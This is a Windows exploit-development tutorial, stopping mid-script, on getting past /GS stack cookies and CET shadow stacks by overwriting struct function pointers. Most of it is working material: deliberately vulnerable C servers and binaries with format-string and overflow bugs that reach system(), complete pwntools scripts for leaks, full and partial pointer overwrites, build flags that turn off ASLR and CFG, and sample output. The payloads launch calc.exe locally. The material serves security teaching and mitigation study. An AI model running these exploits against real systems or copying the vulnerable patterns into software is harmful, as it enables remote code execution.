Understanding how to bypass stack cookies is essential for both offensive security research and building more robust defenses. Here we cover the primary bypass techniques.
On Windows 11 with Intel CET enabled, even if you successfully leak and reconstruct the stack cookie, overwriting the return address will still be caught by the hardware shadow stack. The shadow stack maintains a separate, protected copy of return addresses that the attacker cannot modify. This technique demonstrates the cookie leak and data-only attack approach:
Vulnerable Server Code (Windows):
// vulnerable_server.c
// Demonstrates: format string leak + data-only attack via function pointer
// The server has TWO bugs:
// 1. Format string in Stage 1 (leak primitive)
// 2. Stack buffer overflow in Stage 2 (write primitive)
//
// KEY INSIGHT: /GS reorders local variables so arrays sit closest to the
// cookie, making it impossible to overflow from a stack array into a separate
// local function pointer. To defeat this, we use a STRUCT: the C standard
// guarantees struct member layout order, and /GS does NOT reorder members
// within a struct. By placing the buffer and handler in the same struct,
// overflowing req.data directly overwrites req.handler.
//
// This also sidesteps CET shadow stacks since no return address is used.
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#pragma comment(lib, "ws2_32.lib")
#define PORT 9999
#define DATA_SIZE 128
// Two handler functions - attacker wants to redirect to dangerous_handler
void safe_handler(const char* msg) {
printf("[SAFE] Echoing: %s\n", msg);
}
void dangerous_handler(const char* msg) {
printf("[DANGER] Executing: %s\n", msg);
system(msg); // RCE if attacker controls msg!
}
typedef void (*handler_t)(const char*);
// /GS does NOT reorder struct members - C standard guarantees layout order.
// Overflowing 'data' (128 bytes) directly overwrites 'handler' at offset 128.
struct request {
char data[DATA_SIZE]; // offset 0 - overflow source
handler_t handler; // offset 128 - overflow target
int status; // offset 136
};
void handle_client(SOCKET client_sock) {
// Stage 1 uses a separate buffer for the format string leak.
// Stage 2 uses a struct to bypass /GS variable reordering.
//
// Why a struct? /GS reorders LOCAL variables so arrays are placed at
// the highest stack addresses (closest to the cookie). This means a
// plain "char buffer[128]" local will be ABOVE a "handler_t handler"
// local - overflow goes UP toward the cookie, AWAY from handler.
//
// But /GS cannot reorder struct members (C standard §6.7.2.1 guarantees
// order). In struct request, 'data' is at offset 0 and 'handler' is at
// offset 128. Overflow of data[128] goes directly into handler.
//
// Stack layout (high to low):
// [return address] <- protected by CET shadow stack
// [saved RBP]
// [GS cookie (XOR'd)] <- /GS protection
// [leak_buf - 128 bytes] <- /GS pushes arrays up
// [req.status] <- struct is one unit, below arrays
// [req.handler] <- TARGET at req + 128
// [req.data - 128 bytes] <- overflow source at req + 0
// [response - 2048 bytes] <- format string output
// [bytes_recv, etc.] <- other scalars
char leak_buf[128]; // Separate buffer for Stage 1 format string
char response[2048]; // Large enough for format string expansion
int bytes_recv;
struct request req; // Struct layout is NOT reordered by /GS
req.handler = safe_handler;
req.status = 0;
memset(req.data, 0, DATA_SIZE);
// ---- Stage 1: Format String Leak ----
// Bug: snprintf(response, ..., leak_buf) uses attacker-controlled format
// We use snprintf with a safe output size to avoid crashing here.
// The VULNERABILITY is that the format string itself is attacker-controlled,
// which leaks stack values via %p specifiers.
bytes_recv = recv(client_sock, leak_buf, sizeof(leak_buf) - 1, 0);
if (bytes_recv <= 0) return;
leak_buf[bytes_recv] = '\0';
printf("[*] Stage 1: Processing format string (leak)...\n");
printf("[*] req.data @ %p\n", req.data);
printf("[*] req.handler @ %p -> %p\n", &req.handler, (void*)req.handler);
printf("[*] offsetof(handler) = %zu bytes from req.data\n",
(char*)&req.handler - req.data);
fflush(stdout);
// VULNERABILITY 1: Format string bug - leaks stack values
// snprintf prevents output buffer overflow, but attacker controls the format
_snprintf(response, sizeof(response) - 1, leak_buf);
response[sizeof(response) - 1] = '\0';
send(client_sock, response, (int)strlen(response), 0);
// ---- Stage 2: Overflow -> Function Pointer Corruption ----
// Bug: recv reads up to 1024 bytes into req.data which is only 128 bytes.
// Bytes 128+ overwrite req.handler (the function pointer).
printf("[*] Stage 2: Waiting for overflow payload...\n");
fflush(stdout);
bytes_recv = recv(client_sock, req.data, 1024, 0);
if (bytes_recv <= 0) return;
printf("[*] Received %d bytes (buffer is %d)\n", bytes_recv, DATA_SIZE);
printf("[*] req.handler now points to: %p\n", (void*)req.handler);
fflush(stdout);
// The handler is called BEFORE function return (before cookie check!)
// If overflow corrupted it, this calls the attacker's target.
printf("[*] Calling handler...\n");
fflush(stdout);
req.handler(req.data); // <-- Data-only attack: struct member, not return addr
// CET doesn't protect this because it's an indirect CALL, not a RET.
// (CFG would catch this - but we compiled without /guard:cf for this demo)
printf("[*] Handler returned, function epilogue next...\n");
fflush(stdout);
// Cookie check happens HERE at function return.
// If we overflowed past the cookie, process dies NOW - but handler already ran!
}
int main() {
WSADATA wsa;
SOCKET server_sock, client_sock;
struct sockaddr_in server_addr, client_addr;
int client_len = sizeof(client_addr);
WSAStartup(MAKEWORD(2, 2), &wsa);
server_sock = socket(AF_INET, SOCK_STREAM, 0);
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(PORT);
bind(server_sock, (struct sockaddr*)&server_addr, sizeof(server_addr));
listen(server_sock, 5);
printf("Server listening on port %d...\n", PORT);
printf("safe_handler @ %p\n", safe_handler);
printf("dangerous_handler @ %p\n", dangerous_handler);
fflush(stdout);
while (1) {
client_sock = accept(server_sock, (struct sockaddr*)&client_addr, &client_len);
printf("\nClient connected!\n");
fflush(stdout);
handle_client(client_sock);
closesocket(client_sock);
printf("[*] Connection closed (server stays alive for next client)\n");
fflush(stdout);
}
closesocket(server_sock);
WSACleanup();
return 0;
}
Compile:
# Save source to C:\Windows_Mitigations_Lab\src\vulnerable_server.c
cd C:\Windows_Mitigations_Lab
# Compile WITH /GS but WITHOUT CFG (to isolate cookie bypass)
# /guard:cf is intentionally omitted - CFG would block the indirect call
# /DYNAMICBASE:NO /FIXED makes addresses predictable for learning
cl /GS /Zi /D_CRT_SECURE_NO_WARNINGS src\vulnerable_server.c ^
/Fe:bin\vuln_server.exe /link ws2_32.lib /DEBUG ^
/NXCOMPAT /DYNAMICBASE:NO /FIXED
# Also compile a CFG-protected version to show defense:
cl /GS /Zi /guard:cf /D_CRT_SECURE_NO_WARNINGS src\vulnerable_server.c ^
/Fe:bin\vuln_server_cfg.exe /link ws2_32.lib /DEBUG ^
/NXCOMPAT /DYNAMICBASE:NO /FIXED /guard:cf
# Verify mitigations:
dumpbin /headers bin\vuln_server.exe | findstr "NX Guard"
# Expected: NX compatible (no Guard CF)
dumpbin /headers bin\vuln_server_cfg.exe | findstr "NX Guard"
# Expected: NX compatible + Control Flow Guard
Pwntools Exploit - Cookie Leak + Data-Only Attack:
#!/usr/bin/env python3
"""
exploits/sc_1.py
Stack Cookie Bypass via Format String Leak + Function Pointer Overwrite
This exploit demonstrates a DATA-ONLY attack that works even on Windows 11
with CET (shadow stacks) enabled, because it never hijacks a return address.
Attack flow:
Stage 1: Format string leak to dump stack values (find layout info)
Stage 2: Overflow struct buffer to overwrite adjacent function pointer
The handler is called BEFORE the function epilogue cookie check.
Why this works despite /GS:
/GS reorders LOCAL variables so arrays are near the cookie. But it does NOT
reorder STRUCT MEMBERS (C standard guarantees layout). Our struct places
data[128] at offset 0 and handler at offset 128. Overflow of data directly
overwrites handler regardless of /GS reordering of the struct as a whole.
What this bypasses:
- /GS stack cookies (handler called before cookie check at function return)
- /GS variable reordering (struct members maintain declared order)
- CET shadow stacks (no return address corruption - indirect CALL, not RET)
- DEP (no shellcode, reuses existing code)
What would block this:
- CFG (/guard:cf) - validates indirect call targets against bitmap
Usage:
1. Start server: bin\\vuln_server.exe
2. Run exploit: python exploits\\sc_1.py
3. With offsets: python exploits\\sc_1.py --exploit
"""
from pwn import *
import time
import sys
import re
# Configuration
HOST = "127.0.0.1"
PORT = 9999
context.arch = 'amd64'
context.os = 'windows'
context.log_level = 'info'
def leak_stack_values(r):
"""
Stage 1: Use format string bug to leak stack values.
On Windows x64, MSVCRT %p prints bare hex WITHOUT '0x' prefix:
e.g., "000000000014FA48" not "0x000000000014FA48"
This is different from glibc which prints "0x14fa48".
We dump values to find:
- The handler function pointer (points to safe_handler)
- Stack/code pointers for orientation
- Cookie candidates for analysis
"""
log.info("Stage 1: Leaking stack values via format string")
# Use fewer specifiers to keep output within bounds.
# Each %p on MSVCRT outputs 16 hex chars. With '.' separator:
# 20 * (16 + 1) = 340 bytes — safely within response[2048].
payload = b"%p." * 20
r.send(payload)
time.sleep(1.0)
try:
response = r.recv(8192, timeout=5)
except EOFError:
log.error("Connection closed before receiving leak response")
log.error("The server may have crashed during sprintf.")
log.error("Check server console for error messages.")
return None
if not response:
log.error("Empty response - server may have crashed")
return None
log.info(f"Received {len(response)} bytes")
log.info(f"Raw: {response[:200]}")
# Parse leaked values - handle BOTH MSVCRT and glibc %p formats:
# MSVCRT: "000000000014FA48" (bare 16-char hex, uppercase)
# glibc: "0x14fa48" (0x prefix, lowercase)
# Either: "(nil)" or "00000000" (null)
leaks = []
for part in response.split(b'.'):
part = part.strip()
if not part:
continue
try:
decoded = part.decode('ascii', errors='ignore').strip()
if not decoded:
continue
if decoded.lower() == '(nil)':
leaks.append(0)
elif decoded.startswith('0x') or decoded.startswith('0X'):
# glibc-style: "0x7fff12345678"
leaks.append(int(decoded, 16))
elif re.match(r'^[0-9A-Fa-f]+$', decoded) and len(decoded) >= 8:
# MSVCRT-style: "000000000014FA48" (bare hex, 8-16 chars)
leaks.append(int(decoded, 16))
else:
continue
except (ValueError, TypeError):
continue
if not leaks:
log.error("No values parsed from format string output!")
log.error("Raw response was: %s", response)
return None
# Display all leaked values with analysis
log.info(f"Parsed {len(leaks)} values:")
print(f"\n{'Idx':>4} {'Value':>20} {'Analysis'}")
print("-" * 65)
for i, val in enumerate(leaks):
analysis = ""
if val == 0:
analysis = "NULL"
elif val < 0x10000:
analysis = "small value / size / flags"
elif 0x0000000140000000 <= val <= 0x000000014FFFFFFF:
analysis = "<-- EXE code pointer (check if safe/dangerous_handler)"
elif 0x00007FF000000000 <= val <= 0x00007FFFFFFFFFFF:
analysis = "DLL code pointer (ntdll/kernel32/etc)"
elif 0x0000000000010000 <= val <= 0x00000000FFFFFFFF:
analysis = "stack/low pointer"
elif val > 0x100000000:
# High entropy, not obviously a pointer - could be cookie
analysis = "** COOKIE CANDIDATE ** (high entropy)"
print(f"[{i:3d}] 0x{val:016X} {analysis}")
print()
return leaks
def exploit():
"""
Discovery phase:
1. Leak stack values to understand layout
2. Send cyclic pattern to find offset to handler
"""
log.info(f"Target: {HOST}:{PORT}")
log.info("")
log.info("DISCOVERY PHASE")
log.info("===============")
log.info("Step 1: Leak stack values via format string")
log.info("Step 2: Send cyclic pattern to find handler offset")
log.info("")
# ---- Stage 1: Leak ----
r = remote(HOST, PORT)
leaks = leak_stack_values(r)
if not leaks:
r.close()
return
# ---- Stage 2: Cyclic pattern to find handler offset ----
# struct request { char data[128]; handler_t handler; int status; };
# In theory, handler is at data+128. But let's verify empirically
# in case of padding or compiler alignment.
log.info("Stage 2: Sending cyclic pattern to find handler offset")
log.info("Watch the server console for: 'req.handler now points to: XXXXXXXX'")
log.info("Then use cyclic_find() with that value to get the exact offset.")
pattern = cyclic(512)
time.sleep(0.5)
r.send(pattern)
time.sleep(1)
r.close()
log.info("")
log.info("=" * 60)
log.info("NEXT STEPS:")
log.info("=" * 60)
log.info("1. Read the server output for dangerous_handler address")
log.info(" e.g.: dangerous_handler @ 00000001400043BD")
log.info("")
log.info("2. Read the corrupted handler value from server output")
log.info(" e.g.: req.handler now points to: 6261617462616173")
log.info("")
log.info("3. Find offset:")
log.info(" python -c \"from pwn import *; print(cyclic_find(0x<value>))\"")
log.info(" (expected: 128 for struct request with data[128])")
log.info("")
log.info("4. Update HANDLER_OFFSET and DANGEROUS_HANDLER in this script")
log.info("5. Run: python exploits\\sc_1.py --exploit")
log.info("=" * 60)
def exploit_with_known_offset():
"""
Exploitation phase (after discovery).
Uses known offset and address to overwrite the handler.
The struct layout guarantees:
req.data @ offset 0 (128 bytes)
req.handler @ offset 128 (8 bytes on x64)
req.status @ offset 136 (4 bytes)
So HANDLER_OFFSET should be 128 (= sizeof(data)).
"""
# ===== UPDATE THESE VALUES FOR YOUR BUILD =====
HANDLER_OFFSET = 128 # offsetof(struct request, handler)
DANGEROUS_HANDLER = 0x1400043BD # from server output / dumpbin
# ================================================
log.info(f"Exploiting: offset={HANDLER_OFFSET}, target=0x{DANGEROUS_HANDLER:X}")
r = remote(HOST, PORT)
# Stage 1: Send benign string (we don't need the leak for exploitation)
r.send(b"hello_from_exploit")
time.sleep(0.5)
try:
r.recv(4096, timeout=3) # Consume the leak response
except EOFError:
pass
# Stage 2: Targeted overflow
# req.data[0..] is passed as argument to req.handler(req.data).
# If handler = dangerous_handler, it calls system(req.data).
# So put the command string at the START of data, pad to offset, then address.
#
# NOTE: system() stops at null byte, so we null-terminate the command
# and use 'A' padding after. The padding bytes are safely ignored by system().
command = b"calc.exe\x00" # 9 bytes (with null)
padding = b"B" * (HANDLER_OFFSET - len(command)) # pad to offset 128
handler_addr = p64(DANGEROUS_HANDLER) # 8 bytes, little-endian
payload = command + padding + handler_addr
log.info(f"Payload layout ({len(payload)} bytes):")
log.info(f" [0..{len(command)-1}] command: {command}")
log.info(f" [{len(command)}..{HANDLER_OFFSET-1}] padding: {len(padding)} bytes")
log.info(f" [{HANDLER_OFFSET}..{HANDLER_OFFSET+7}] handler: 0x{DANGEROUS_HANDLER:X}")
time.sleep(0.5)
r.send(payload)
time.sleep(2)
r.close()
log.success("Exploit sent!")
log.success("Check the server console for:")
log.success(" [DANGER] Executing: calc.exe")
log.success(" (calc.exe should open!)")
log.info("")
log.info("The server process will then crash with 0xC0000409 (/GS cookie)")
log.info("because the overflow ALSO corrupted the cookie. But the handler")
log.info("already executed — the damage is done BEFORE /GS checks!")
log.info("")
log.info("To test CFG: run against vuln_server_cfg.exe instead.")
log.info("NOTE: CFG is coarse-grained — dangerous_handler IS a valid function")
log.info("entry, so CFG will ALLOW this redirect. CFG only blocks calls to")
log.info("mid-function addresses, shellcode, or ROP gadgets.")
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "--exploit":
exploit_with_known_offset()
else:
exploit()
Running the Exploit:
# Terminal 1: Start the server
cd C:\Windows_Mitigations_Lab
.\bin\vuln_server.exe
# Output:
# Server listening on port 9999...
# safe_handler @ 0000000140001F8C
# dangerous_handler @ 00000001400043BD
# Terminal 2: Discovery phase
python exploits\sc_1.py
# This leaks stack values and sends a cyclic pattern.
# Check server output for:
# req.handler now points to: 6261616962616168
# Then find offset:
# python -c "from pwn import *; print(cyclic_find(0x6261616962616168))"
# -> 128 (confirms handler is at data + 128, as expected from struct layout)
# Terminal 2: Update DANGEROUS_HANDLER in script with server's address, then:
python exploits\sc_1.py --exploit
# Server should print: [DANGER] Executing: calc.exe
# calc.exe opens, then server crashes (cookie check)
Corrupt only the low byte(s) of a function pointer within a struct, redirecting execution
to a nearby function without needing a full 8-byte address write. This works because
functions in the same binary share upper address bytes when ASLR is off (/FIXED).
[!NOTE] Why partial overwrite? In some scenarios, you can only corrupt a limited number of bytes past the buffer boundary (e.g., off-by-one, or the overflow is length-limited). If the target function pointer shares its upper bytes with the desired target (common in the same module without ASLR), overwriting just 1-2 bytes is enough.
CET compatibility: Like Technique 1, this targets a struct member function pointer (indirect CALL), not the return address. CET shadow stacks don't block it.
Vulnerable Code:
// partial_overwrite.c
// Demonstrates: off-by-N overflow within a struct that partially corrupts
// a function pointer, redirecting to a different function in the same module.
//
// Key insight: Without ASLR (/FIXED), all functions in the EXE share the
// same upper bytes (e.g., 0x00000001400XXXXX). Only the lower bytes differ.
// An overflow that corrupts just the low 1-2 bytes of a function pointer
// can redirect to any function within a 256-byte (1 byte) or 64KB (2 byte) range.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
typedef void (*action_t)(const char*);
void log_message(const char* msg) {
printf("[LOG] %s\n", msg);
}
void exec_command(const char* msg) {
printf("[EXEC] Running: %s\n", msg);
system(msg); // RCE!
}
// Struct layout is guaranteed by C standard - /GS cannot reorder members
struct packet {
char name[32]; // offset 0 - small buffer
action_t action; // offset 32 - function pointer (our target)
int priority; // offset 40
};
void process_packet(struct packet *pkt) {
printf("[*] Processing packet: name='%s'\n", pkt->name);
printf("[*] Action ptr: %p\n", (void*)pkt->action);
fflush(stdout);
// Call the action handler - this is an indirect CALL (CET doesn't block)
pkt->action(pkt->name);
}
int main() {
struct packet pkt;
pkt.action = log_message;
pkt.priority = 0;
printf("log_message @ %p\n", (void*)log_message);
printf("exec_command @ %p\n", (void*)exec_command);
printf("Offset between: %lld bytes\n",
(long long)((char*)exec_command - (char*)log_message));
fflush(stdout);
printf("\nEnter packet name (max 32 chars): ");
fflush(stdout);
// VULNERABILITY: reads up to 40 bytes into 32-byte name field
// Off-by-8: can overwrite the low bytes of pkt.action
// Using fread to handle binary data (fgets stops at newline)
int n = (int)fread(pkt.name, 1, 40, stdin);
if (n > 0) {
// Don't null-terminate - we want to preserve the partial overwrite bytes
printf("[*] Read %d bytes\n", n);
fflush(stdout);
}
process_packet(&pkt);
return 0;
}
Compile:
# Save to C:\Windows_Mitigations_Lab\src\partial_overwrite.c
cd C:\Windows_Mitigations_Lab
# WITHOUT /GS, no ASLR (/FIXED) - isolate the partial overwrite
cl /GS- /Zi /D_CRT_SECURE_NO_WARNINGS src\partial_overwrite.c ^
/Fe:bin\partial_overwrite.exe /link /NXCOMPAT /DYNAMICBASE:NO /FIXED /DEBUG
# WITH /GS - show that /GS doesn't help (struct members aren't reordered)
cl /GS /Zi /D_CRT_SECURE_NO_WARNINGS src\partial_overwrite.c ^
/Fe:bin\partial_overwrite_gs.exe /link /NXCOMPAT /DYNAMICBASE:NO /FIXED /DEBUG
Pwntools - Partial Overwrite:
#!/usr/bin/env python3
"""
exploits/sc_2_partial.py
Partial Overwrite Bypass - Corrupt low bytes of struct function pointer.
When the overflow is limited (off-by-N), we can only corrupt the low
byte(s) of the function pointer. Since log_message and exec_command are
in the same binary and ASLR is off, they share upper address bytes.
Works on Windows 11 + CET: targets struct member (indirect CALL, not RET).
NOT blocked by coarse-grained CFG (target is a valid function entry).
Blocked by: ASLR (randomizes upper bytes), fine-grained CFI.
Usage:
python exploits\\sc_2_partial.py # Discovery
python exploits\\sc_2_partial.py --exploit # Exploitation
"""
from pwn import *
import re
import sys
context.arch = 'amd64'
context.os = 'windows'
context.log_level = 'info'
def parse_address(output_bytes, label):
"""
Parse a function address from the binary's output.
Handles MSVCRT bare-hex format (e.g., 0000000140001F96)
and glibc 0x-prefixed format.
"""
decoded = output_bytes.decode(errors='replace')
# Match: "label @ 0000000140001F96" or "label @ 0x140001F96"
pattern = rf'{re.escape(label)}\s+@\s+(0x)?([0-9A-Fa-f]+)'
m = re.search(pattern, decoded)
if m:
return int(m.group(2), 16)
return None
def discover():
"""
Run the binary to see function addresses and compute the
partial overwrite byte(s) needed. Auto-parses addresses.
"""
binary_path = r'C:\Windows_Mitigations_Lab\bin\partial_overwrite.exe'
log.info("Discovery: running binary to get function addresses")
p = process([binary_path])
output = b""
try:
output = p.recvuntil(b"Enter packet name", timeout=5)
except:
pass
log.info(f"Output:\n{output.decode(errors='replace')}")
p.sendline(b"test")
try:
rest = p.recvall(timeout=3)
log.info(f"Rest:\n{rest.decode(errors='replace')}")
except:
pass
p.close()
# Auto-parse addresses
log_addr = parse_address(output, 'log_message')
exec_addr = parse_address(output, 'exec_command')
if log_addr and exec_addr:
log.success(f"log_message = 0x{log_addr:016X}")
log.success(f"exec_command = 0x{exec_addr:016X}")
# Determine how many low bytes differ
xor = log_addr ^ exec_addr
n_bytes = (xor.bit_length() + 7) // 8
log.info(f"Addresses differ in lowest {n_bytes} byte(s)")
low_bytes = (exec_addr & ((1 << (n_bytes * 8)) - 1)).to_bytes(n_bytes, 'little')
log.info(f"Low bytes to overwrite (LE): {low_bytes.hex()}")
log.info(f"")
log.info(f"Run exploit: python exploits\\sc_2_partial.py --exploit")
else:
log.error("Could not parse addresses from output")
def exploit():
"""
Partial overwrite of function pointer's low byte(s).
struct packet layout:
+0x00: name[32] (32 bytes)
+0x20: action (8 bytes, function pointer)
+0x28: priority (4 bytes)
fread reads up to 40 bytes into name[32].
Bytes 32-39 overflow into the action pointer.
We only need to overwrite the low byte(s) to redirect.
"""
binary_path = r'C:\Windows_Mitigations_Lab\bin\partial_overwrite.exe'
log.info("Phase 1: reading addresses from binary output...")
p = process([binary_path])
output = b""
try:
output = p.recvuntil(b"Enter packet name", timeout=5)
except:
log.error("Timeout waiting for prompt")
p.close()
return
# Auto-parse addresses
log_addr = parse_address(output, 'log_message')
exec_addr = parse_address(output, 'exec_command')
if not log_addr or not exec_addr:
log.error("Could not parse addresses")
p.close()
return
log.success(f"log_message = 0x{log_addr:016X}")
log.success(f"exec_command = 0x{exec_addr:016X}")
# Calculate how many low bytes differ
xor = log_addr ^ exec_addr
n_bytes = (xor.bit_length() + 7) // 8
low_bytes = (exec_addr & ((1 << (n_bytes * 8)) - 1)).to_bytes(n_bytes, 'little')
log.info(f"Addresses differ in lowest {n_bytes} byte(s)")
log.info(f"Overwriting with: {low_bytes.hex()} (little-endian)")
# Build payload:
# name[0..8] = "calc.exe\0" (passed as arg to action(name))
# name[9..31] = padding
# name[32..32+n] = low bytes of exec_command
command = b"calc.exe\x00"
padding = b"X" * (32 - len(command))
payload = command + padding + low_bytes
log.info(f"Payload ({len(payload)} bytes):")
log.info(f" [0..{len(command)-1}] command: {command}")
log.info(f" [{len(command)}..31] padding: {len(padding)} bytes")
log.info(f" [32..{32+n_bytes-1}] low bytes: {low_bytes.hex()} (partial overwrite)")
p.send(payload)
p.shutdown('send')
try:
output = p.recvall(timeout=5)
log.info(f"Output:\n{output.decode(errors='replace')}")
if b"[EXEC]" in output:
log.success("Partial overwrite worked! exec_command was called!")
elif b"[LOG]" in output:
log.failure("Still calling log_message - check byte count")
else:
log.warning("Unexpected output")
except:
pass
try:
p.wait(timeout=3)
except:
pass
if p.returncode is not None:
exit_code = p.returncode & 0xFFFFFFFF
log.info(f"Exit code: {hex(exit_code)}")
p.close()
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "--exploit":
exploit()
else:
discover()
Expected Results:
# Discovery phase (addresses auto-parsed):
c:\Windows_Mitigations_Lab> python exploits\sc_2_partial.py
#[*] Discovery: running binary to get function addresses
#[*] Output:
# log_message @ 0000000140001F96
# exec_command @ 00000001400043C7
# Offset between: 9265 bytes
#[+] log_message = 0x0000000140001F96
#[+] exec_command = 0x00000001400043C7
#[*] Addresses differ in lowest 2 byte(s)
#[*] Low bytes to overwrite (LE): c743
# Exploitation phase (auto-parsed — no manual update needed):
c:\Windows_Mitigations_Lab> python exploits\sc_2_partial.py --exploit
#[*] Phase 1: reading addresses from binary output...
#[+] log_message = 0x0000000140001F96
#[+] exec_command = 0x00000001400043C7
#[*] Addresses differ in lowest 2 byte(s)
#[*] Overwriting with: c743 (little-endian)
#[*] Payload (34 bytes):
#[*] [0..8] command: b'calc.exe\x00'
#[*] [9..31] padding: 23 bytes
#[*] [32..33] low bytes: c743 (partial overwrite)
#[*] Output:
# [*] Read 34 bytes
# [*] Processing packet: name='calc.exe'
# [*] Action ptr: 00000001400043C7 <- redirected!
# [EXEC] Running: calc.exe <- RCE!
#[+] Partial overwrite worked! exec_command was called!
[!IMPORTANT] Partial Overwrite vs Full Overwrite: This technique only needs 1-2 bytes of overflow past the buffer boundary. Many bugs that seem "too small to exploit" (off-by-one, off-by-few) become exploitable when a function pointer is adjacent in a struct. ASLR makes this harder (randomizes upper bytes too). Note: MSVC CFG (
/guard:cf) does NOT block this because the target (exec_command) is a valid function entry point — CFG is coarse-grained (see Technique 3's--cfg-testfor proof).
Same concept as Technique 1 but using a local binary with stdin input instead of a network server. This demonstrates that the struct-based function pointer overwrite works identically for local exploits.
Vulnerable Code (Windows):
// func_ptr_overwrite.c
// Demonstrates: struct-based function pointer overwrite via stdin
// Same principle as the network server (Technique 1), but as a local binary.
//
// The struct guarantees member order. /GS cannot reorder struct internals.
// fgets() overflow past data[128] directly overwrites handler at offset 128.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
typedef void (*callback_t)(const char*);
// /GS does NOT reorder struct members
struct request {
char data[128]; // offset 0 - overflow source
callback_t handler; // offset 128 - overflow target
int status; // offset 136
};
void safe_handler(const char* msg) {
printf("[SAFE] Handler: %s\n", msg);
}
void dangerous_handler(const char* msg) {
printf("[DANGER] Executing: %s\n", msg);
system(msg); // RCE!
}
void process_request(struct request *req) {
printf("[*] Processing request...\n");
printf("[*] Handler points to: %p\n", (void*)req->handler);
fflush(stdout);
// Call handler with data - indirect CALL, not RET
// CET shadow stacks don't protect this
req->handler(req->data);
}
int main() {
struct request req;
req.handler = safe_handler;
req.status = 0;
memset(req.data, 0, 128);
printf("safe_handler @ %p\n", (void*)safe_handler);
printf("dangerous_handler @ %p\n", (void*)dangerous_handler);
printf("req.data @ %p\n", req.data);
printf("req.handler @ %p (offset %zu from data)\n",
&req.handler, (char*)&req.handler - req.data);
fflush(stdout);
printf("\nEnter request data: ");
fflush(stdout);
// VULNERABILITY: reads 256 bytes into 128-byte data field via fread
// fread handles binary data correctly (no newline issues)
int n = (int)fread(req.data, 1, 256, stdin);
printf("[*] Read %d bytes\n", n);
fflush(stdout);
process_request(&req);
return 0;
}
Compile:
# Save to C:\Windows_Mitigations_Lab\src\func_ptr_overwrite.c
cd C:\Windows_Mitigations_Lab
# WITHOUT /GS - baseline
cl /GS- /Zi /D_CRT_SECURE_NO_WARNINGS src\func_ptr_overwrite.c ^
/Fe:bin\func_ptr_overwrite.exe /link /NXCOMPAT /DYNAMICBASE:NO /FIXED /DEBUG
# WITH /GS - prove struct members are NOT reordered
cl /GS /Zi /D_CRT_SECURE_NO_WARNINGS src\func_ptr_overwrite.c ^
/Fe:bin\func_ptr_overwrite_gs.exe /link /NXCOMPAT /DYNAMICBASE:NO /FIXED /DEBUG
# WITH CFG - observe coarse-grained protection
cl /GS /Zi /guard:cf /D_CRT_SECURE_NO_WARNINGS src\func_ptr_overwrite.c ^
/Fe:bin\func_ptr_overwrite_cfg.exe /link /NXCOMPAT /DYNAMICBASE:NO /FIXED /guard:cf /DEBUG
Pwntools Exploit - Function Pointer Overwrite:
#!/usr/bin/env python3
"""
exploits/sc_3_funcptr.py
Function Pointer Overwrite via stdin - Bypasses /GS Stack Cookies
Same struct-based technique as the network server exploit (Technique 1),
but targeting a local binary that reads from stdin via fread().
struct request { char data[128]; callback_t handler; int status; };
fread() overflow: 256 bytes into data[128] overwrites handler at offset 128.
Addresses are auto-parsed from the binary's runtime output — no manual
updates needed between rebuilds.
Works on Windows 11 + CET: struct member corruption, not return address.
NOT blocked by coarse-grained CFG (target is a valid function entry).
Blocked by: fine-grained CFI (Clang -fsanitize=cfi).
Usage:
python exploits\\sc_3_funcptr.py # Discovery
python exploits\\sc_3_funcptr.py --exploit # Exploitation
"""
from pwn import *
import re
import sys
context.arch = 'amd64'
context.os = 'windows'
context.log_level = 'info'
def parse_address(output_bytes, label):
"""
Parse a function address from binary output.
Handles MSVCRT bare-hex (0000000140001F96) and 0x-prefixed formats.
"""
decoded = output_bytes.decode(errors='replace')
pattern = rf'{re.escape(label)}\s+@\s+(0x)?([0-9A-Fa-f]+)'
m = re.search(pattern, decoded)
if m:
return int(m.group(2), 16)
return None
def parse_offset(output_bytes):
"""
Parse the handler offset from 'offset NNN from data' in binary output.
"""
decoded = output_bytes.decode(errors='replace')
m = re.search(r'offset\s+(\d+)\s+from\s+data', decoded)
if m:
return int(m.group(1))
return 128 # default fallback
def discover():
"""Run the binary to find function addresses and verify struct layout."""
binary_path = r'C:\Windows_Mitigations_Lab\bin\func_ptr_overwrite.exe'
log.info("Discovery: running binary to find addresses")
p = process([binary_path])
output = b""
try:
output = p.recvuntil(b"Enter request data:", timeout=5)
log.info(f"Output:\n{output.decode(errors='replace')}")
except:
pass
# Send cyclic pattern to find exact offset
pattern = cyclic(256)
p.send(pattern)
p.shutdown('send')
try:
rest = p.recvall(timeout=5)
log.info(f"Rest:\n{rest.decode(errors='replace')}")
except:
pass
p.close()
# Auto-parse addresses
safe_addr = parse_address(output, 'safe_handler')
danger_addr = parse_address(output, 'dangerous_handler')
offset = parse_offset(output)
if safe_addr and danger_addr:
log.success(f"safe_handler = 0x{safe_addr:016X}")
log.success(f"dangerous_handler = 0x{danger_addr:016X}")
log.info(f"Handler offset from data: {offset}")
log.info(f"")
log.info(f"Run: python exploits\\sc_3_funcptr.py --exploit")
else:
log.error("Could not parse addresses from output")
def exploit():
"""Overwrite handler with dangerous_handler address (auto-parsed)."""
binary_path = r'C:\Windows_Mitigations_Lab\bin\func_ptr_overwrite.exe'
log.info("Phase 1: reading addresses from binary output...")
p = process([binary_path])
output = b""
try:
output = p.recvuntil(b"Enter request data:", timeout=5)
except:
log.error("Timeout waiting for prompt")
p.close()
return
# Auto-parse dangerous_handler address and offset
danger_addr = parse_address(output, 'dangerous_handler')
offset = parse_offset(output)
if not danger_addr:
log.error("Could not parse dangerous_handler address")
p.close()
return
log.success(f"dangerous_handler = 0x{danger_addr:016X} (auto-parsed)")
log.info(f"Handler at offset {offset} from buffer start")
# Build payload:
# data[0..8] = "calc.exe\0" (command for system())
# data[9..off-1] = padding
# data[off..off+7] = p64(dangerous_handler) -> overwrites handler
command = b"calc.exe\x00"
padding = b"B" * (offset - len(command))
payload = command + padding + p64(danger_addr)
log.info(f"Payload ({len(payload)} bytes):")
log.info(f" [0..{len(command)-1}] command: {command}")
log.info(f" [{len(command)}..{offset-1}] padding: {len(padding)} bytes")
log.info(f" [{offset}..{offset+7}] handler: 0x{danger_addr:X}")
p.send(payload)
p.shutdown('send')
try:
